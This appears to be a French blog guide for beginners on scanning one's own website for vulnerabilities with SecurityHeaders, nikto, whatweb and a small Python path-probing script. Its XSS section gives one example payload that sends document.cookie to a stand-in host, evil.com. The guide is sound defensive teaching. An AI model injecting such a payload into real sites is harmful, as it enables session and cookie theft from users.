🔐 Scanner son propre site web pour détecter les vulnérabilités : un guide complet pour débutants et curieux de cybersécurité
🧭 Pourquoi ce guide ?
Internet est une vitrine. Et comme toute vitrine, elle peut être brisée. Un site web non sécurisé peut être :
- défiguré (defacement)
- utilisé pour héberger du code malveillant
- piraté pour voler des données utilisateurs
- utilisé comme relais pour des campagnes de phishing
👉 Pourtant, 80 % des failles exploitées aujourd’hui sont connues et évitables.
Dans cet article, je vous montre comment scanner votre propre site pour détecter les vulnérabilités les plus courantes.
🚨 Exemples concrets d'attaques fréquentes
1. XSS (Cross-Site Scripting)
But : injecter du JavaScript malveillant dans une page web.
Exemple :
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
Résultat : vol de session, redirection ou infection.
2. Exposition de fichiers sensibles
But : accéder à des fichiers de config ou backups laissés en ligne.
Exemple : un fichier backup.zip oublié avec des mots de passe en clair.
3. Headers de sécurité manquants
But : pas de protection contre XSS, clickjacking, sniffing MIME, etc.
Exemple : sans X-Frame-Options, un attaquant peut piéger l’utilisateur via une iframe invisible.
🛠️ Prérequis pour scanner
- Un site actif (le vôtre)
- Un terminal (Windows, Linux, macOS)
- Python 3 installé
- Scanner uniquement ce que vous possédez !
1️⃣ Scanner les entêtes HTTP avec SecurityHeaders
Outil : https://securityheaders.com
- Accédez au site
- Saisissez votre URL
- Cliquez sur “Scan”
Résultat : vous voyez les entêtes manquants (CSP, HSTS, etc.)
2️⃣ Scanner avec nikto
Outil : nikto (CLI)
sudo apt install nikto -y
nikto -h https://votresite.com
Ce qu’il détecte : scripts obsolètes, fichiers publics oubliés, headers non sécurisés
3️⃣ Identifier les technos exposées avec whatweb
Outil : whatweb
sudo apt install whatweb -y
whatweb https://votresite.com
Ce qu’il révèle : CMS, versions, jQuery ou PHP anciens, serveurs backend exposés
4️⃣ Script Python : tester des endpoints sensibles
Script :
import requests
url = "https://votresite.com"
endpoints = ["/admin", "/config.php", "/.git/", "/backup.zip", "/phpinfo.php"]
for path in endpoints:
r = requests.get(url + path)
if r.status_code == 200:
print(f"[ALERTE] Accessible : {url + path}")
elif r.status_code == 403:
print(f"[!] Interdit mais existant : {url + path}")
else:
print(f"[OK] {url + path} n'existe pas")
🎯 Que faire ensuite ?
- Supprimer les fichiers exposés
- Mettre en place HTTPS partout
- Configurer les headers HTTP
- Répéter ces scans régulièrement
🧠 À retenir
Menace | Ce qui la déclenche | Ce qui la bloque |
---|---|---|
XSS | Entrées utilisateurs mal filtrées | Sanitisation, CSP |
Fichiers exposés | Fichiers oubliés dans /public | Audit, accès restreint |
Vieilles bibliothèques | Pas de mise à jour | CDN sécurisé, maintenance |
Headers manquants | Pas de config serveur | Outils comme SecurityHeaders |
📌 Conclusion
Scanner son propre site permet de :
- Protéger ses données
- Réduire les risques d’exploitation
- Respecter les standards de sécurité
- Préparer son site à des monétisations comme AdSense
🛡️ Un site sécurisé inspire confiance.
Commentaires
Enregistrer un commentaire